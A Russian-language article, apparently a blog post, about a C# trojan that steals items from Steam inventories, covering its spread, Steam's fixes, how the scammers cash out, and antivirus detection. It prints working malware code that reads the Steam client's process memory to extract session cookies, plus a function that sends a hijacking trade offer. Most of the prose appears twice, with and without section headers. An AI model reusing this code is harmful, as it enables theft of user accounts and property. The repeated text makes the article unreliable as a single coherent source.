Написать статью побудила публикация «Троян, ворующий предметы из инвентаря Steam».
Моя статья содержит:
1) Историю появления и распространения в рунете;
2) Историю борьбы «Стима» с данным зловредом;
3) За счёт чего мошенники получают прибыль?
4) Что делают в стиме в связи с этими мошенничествами?
В статье нет полного исходного кода или ссылок, где можно его достать/купить. Кому интересно — добро пожаловать под кат.
Кто был первоначальным автором данного трояна — неизвестно, первые упоминания появились в Америке в начале этого года. В рунете же данный троян появился и начал активно распространяться только в середине-конце лета.
Программа и исходник появились в начале августа на одном популярном «читерском» портале. Два друга нашли собранный и накрытый троян, заметили, что он написан на C# и сумели вытянуть довольно запутанный, но рабочий исходный код. Далее был собран билдер и выложен на портал, через некоторое время был выложен и переписанный в человеческий вид и исходник. Начиная с этого момента упоминания о нём можно было найти везде. Только на очень ленивом и малоактивном форуме нельзя было найти если не копию рабочего исходника, то человека, продающего готовый «билд».
Из процесса «Стима» регуляркой выдираются две cookie-записи SteamLogin и SteamLoginSecure:
Дальше полученные данные подставляются в веб-запрос, который отправляется на сервер и получается сессия, ну и авторизация. После этого у программы теоретически есть полный доступ ко всем функциям клиента Steam. Получение списка итемов и отправка трейд-оффера была описана в предыдущей статье (код приведенный в той статье для отправки оффера — не рабочий).
С августа Steam предпринимал уже две попытки борьбы с данным трояном. Хотя вторую сложно назвать реальной борьбой, скорее это был побочный эффект какого-то апдейта.
Как я уже упоминал выше, из клиента парсится 2 куки, но для отправки оффера (предложение обмена вещами с злоумышленником) достаточно было одной из них (SteamLoginSecure). Фикс от Steam заключался в том, что теперь нужны были обе. Как вы сами понимаете, «проблема» в работе стилера была найдена меньше чем за сутки всё теми же умельцами. Ну а еще через пару дней уже новое действующее лицо (не я) выложило исправленный исходный код в общий доступ.(впрочем, он сейчас сильно ругает этот свой поступок).
Честно говоря, не известно зачем, но Steam решили добавить 1 параметр в запрос на отправку оффера:
А конкретно — параметр «serverid=1». Зачем он нужен и для чего его добавили надо спрашивать у разработчиков «Стима», но других запросов где он мог бы использовался я не находил.
Хотя обьяснить «ленивые» фиксы от стима довольно просто.
Все игровые ценности, которые получают мошенники, продают по сниженной цене на торговой площадке. Тут я хочу напомнить, что Steam получает 5% со всех операций на торговой площадке. И 10% получает разработчик игры, айтем которой был продан. Учитывая, что разработчиком самых популярных игр с итемами и сервиса Steam является компания Valve, вполне логично, что они не будут особо торопиться с фиксом, получая еще 15% с каждого проданного итема.
Дальше мошенники разными способами уже выводят деньги из «Стима». Так как н��прямую это сделать нельзя, они используют для продажи ценности самого сервиса Steam. Например, ключи или игры (насколько мне известно, они получают примерно 50-65 центов с доллара).
На блокировку аккаунта (а вернее на блокировку операций покупки/продажи/обмена), на который скидываются вещи, у Steam уходит до 7 дней. За это время злоумышленники чаще всего успевают избавиться от полученных итемов и вывести средства с аккаунта. Если аккаунт блокирован, с него уже ничего нельзя вывести. Максимум — играть в те игры, что на нём.
Надо сказать, что в «Стиме» есть практика возврата украденных вещей, если они не были проданы на торговой площадке. Но, допустим, с российской поддержкой на это ушел месяц:

Сам распространением не занимался. Вся информация взята от людей, которые занимаются разработкой или распространением. Цены на данный софт вполне либеральные: 500-1000р за программку, в которую вшит аккаунт. Исходник от 3.5к рублей и выше — в зависимости от того, покупается ли этот исходник у разработчика или у школьника, который его купил и теперь перепродаёт. В данный момент знаю о примерно 4х разных разработчиках. Впрочем, между собой их продукты практически ничем не отличаются.
Ну и напоследок. Лучшие антивирусы на данный момент по определению таких программ — это Avira, Kaspersky, Eset Nod32. Они определяют свежие и довольно прилично обфусцированные/накрытые версии трояна, впрочем, не всегда. Остальные реагируют довольно долго. Даже простая обфускация .Net приложения смущает большинство антивирусов.
Моя статья содержит:
1) Историю появления и распространения в рунете;
2) Историю борьбы «Стима» с данным зловредом;
3) За счёт чего мошенники получают прибыль?
4) Что делают в стиме в связи с этими мошенничествами?
В статье нет полного исходного кода или ссылок, где можно его достать/купить. Кому интересно — добро пожаловать под кат.
История появления и распространения в рунете
Кто был первоначальным автором данного трояна — неизвестно, первые упоминания появились в Америке в начале этого года. В рунете же данный троян появился и начал активно распространяться только в середине-конце лета.
Программа и исходник появились в начале августа на одном популярном «читерском» портале. Два друга нашли собранный и накрытый троян, заметили, что он написан на C# и сумели вытянуть довольно запутанный, но рабочий исходный код. Далее был собран билдер и выложен на портал, через некоторое время был выложен и переписанный в человеческий вид и исходник. Начиная с этого момента упоминания о нём можно было найти везде. Только на очень ленивом и малоактивном форуме нельзя было найти если не копию рабочего исходника, то человека, продающего готовый «билд».
Общая схема работы:
Из процесса «Стима» регуляркой выдираются две cookie-записи SteamLogin и SteamLoginSecure:
WinApis.SYSTEM_INFO sYSTEM_INFO = default(WinApis.SYSTEM_INFO);
while (sYSTEM_INFO.minimumApplicationAddress.ToInt32() == 0)
{
WinApis.GetSystemInfo(out sYSTEM_INFO);
}
IntPtr minimumApplicationAddress = sYSTEM_INFO.minimumApplicationAddress;
long num = (long)minimumApplicationAddress.ToInt32();
List<string> list = new List<string>();
Process[] array = array = Process.GetProcessesByName("steam");
Process process = null;
for (int i = 0; i < array.Length; i++)
{
try
{
foreach (ProcessModule processModule in array[i].Modules)
{
if (processModule.FileName.EndsWith("steamclient.dll"))
{
process = array[i];
break;
}
}
}
catch
{
}
}
if (process != null)
{
IntPtr handle = WinApis.OpenProcess(1040u, false, process.Id);
WinApis.PROCESS_QUERY_INFORMATION pROCESS_QUERY_INFORMATION = default(WinApis.PROCESS_QUERY_INFORMATION);
IntPtr intPtr = new IntPtr(0);
while (WinApis.VirtualQueryEx(handle, minimumApplicationAddress, out pROCESS_QUERY_INFORMATION, 28u) != 0)
{
if (pROCESS_QUERY_INFORMATION.Protect == 4u && pROCESS_QUERY_INFORMATION.State == 4096u)
{
byte[] array2 = new byte[pROCESS_QUERY_INFORMATION.RegionSize];
WinApis.ReadProcessMemory(handle, pROCESS_QUERY_INFORMATION.BaseAdress, array2, pROCESS_QUERY_INFORMATION.RegionSize, out intPtr);
string @string = Encoding.UTF8.GetString(array2);
MatchCollection matchCollection = new Regex("7656119[0-9]{10}%7c%7c[A-F0-9]{40}", RegexOptions.IgnoreCase).Matches(@string);
if (matchCollection.Count > 0)
{
foreach (Match match in matchCollection)
{
if (!list.Contains(match.Value))
{
list.Add(match.Value);
}
}
}
}
num += (long)((ulong)pROCESS_QUERY_INFORMATION.RegionSize);
if (num >= 2147483647L)
{
break;
}
minimumApplicationAddress = new IntPtr(num);
}
this.ParsedSteamCookies = list;
}
}
Дальше полученные данные подставляются в веб-запрос, который отправляется на сервер и получается сессия, ну и авторизация. После этого у программы теоретически есть полный доступ ко всем функциям клиента Steam. Получение списка итемов и отправка трейд-оффера была описана в предыдущей статье (код приведенный в той статье для отправки оффера — не рабочий).
История борьбы стима с данным зловредом
С августа Steam предпринимал уже две попытки борьбы с данным трояном. Хотя вторую сложно назвать реальной борьбой, скорее это был побочный эффект какого-то апдейта.
Фикс первый. Начало сентября
Как я уже упоминал выше, из клиента парсится 2 куки, но для отправки оффера (предложение обмена вещами с злоумышленником) достаточно было одной из них (SteamLoginSecure). Фикс от Steam заключался в том, что теперь нужны были обе. Как вы сами понимаете, «проблема» в работе стилера была найдена меньше чем за сутки всё теми же умельцами. Ну а еще через пару дней уже новое действующее лицо (не я) выложило исправленный исходный код в общий доступ.(впрочем, он сейчас сильно ругает этот свой поступок).
Фикс второй. 17 ноября
Честно говоря, не известно зачем, но Steam решили добавить 1 параметр в запрос на отправку оффера:
private string sentItems(string sessionID, string items, string[] Offer, string message = "")
{
return SteamHttp.SteamWebRequest(this.cookiesContainer, "tradeoffer/new/send", string.Concat(new string[]
{
"sessionid=",
sessionID,
"&partner=",
Offer[0],
"&serverid=1",
"&tradeoffermessage=",
Uri.EscapeDataString(message),
"&json_tradeoffer=",
Uri.EscapeDataString(string.Format("{5}\"newversion\":true,\"version\":2,\"me\":{5}\"assets\":[{3}],\"currency\":[],\"ready\":false{6},\"them\":{5}\"assets\":[],\"currency\":[],\"ready\":false{6}{6}", new object[]
{
sessionID,
Offer[0],
message,
items,
Offer[2],
"{",
"}"
})),
"&trade_offer_create_params=",
Uri.EscapeDataString(string.Format("{0}\"trade_offer_access_token\":\"{2}\"{1}", "{", "}", Offer[2]))
}), "tradeoffer/new/?partner=" + Offer[1] + "&token=" + Offer[2]);
}
А конкретно — параметр «serverid=1». Зачем он нужен и для чего его добавили надо спрашивать у разработчиков «Стима», но других запросов где он мог бы использовался я не находил.
Хотя обьяснить «ленивые» фиксы от стима довольно просто.
За счёт чего мошенники (и стим!) получают прибыль?
Все игровые ценности, которые получают мошенники, продают по сниженной цене на торговой площадке. Тут я хочу напомнить, что Steam получает 5% со всех операций на торговой площадке. И 10% получает разработчик игры, айтем которой был продан. Учитывая, что разработчиком самых популярных игр с итемами и сервиса Steam является компания Valve, вполне логично, что они не будут особо торопиться с фиксом, получая еще 15% с каждого проданного итема.
Дальше мошенники разными способами уже выводят деньги из «Стима». Так как н��прямую это сделать нельзя, они используют для продажи ценности самого сервиса Steam. Например, ключи или игры (насколько мне известно, они получают примерно 50-65 центов с доллара).
Что делают в Steam в связи с этими мошенничествами?
На блокировку аккаунта (а вернее на блокировку операций покупки/продажи/обмена), на который скидываются вещи, у Steam уходит до 7 дней. За это время злоумышленники чаще всего успевают избавиться от полученных итемов и вывести средства с аккаунта. Если аккаунт блокирован, с него уже ничего нельзя вывести. Максимум — играть в те игры, что на нём.
Надо сказать, что в «Стиме» есть практика возврата украденных вещей, если они не были проданы на торговой площадке. Но, допустим, с российской поддержкой на это ушел месяц:

Эпилог
Сам распространением не занимался. Вся информация взята от людей, которые занимаются разработкой или распространением. Цены на данный софт вполне либеральные: 500-1000р за программку, в которую вшит аккаунт. Исходник от 3.5к рублей и выше — в зависимости от того, покупается ли этот исходник у разработчика или у школьника, который его купил и теперь перепродаёт. В данный момент знаю о примерно 4х разных разработчиках. Впрочем, между собой их продукты практически ничем не отличаются.
Ну и напоследок. Лучшие антивирусы на данный момент по определению таких программ — это Avira, Kaspersky, Eset Nod32. Они определяют свежие и довольно прилично обфусцированные/накрытые версии трояна, впрочем, не всегда. Остальные реагируют довольно долго. Даже простая обфускация .Net приложения смущает большинство антивирусов.
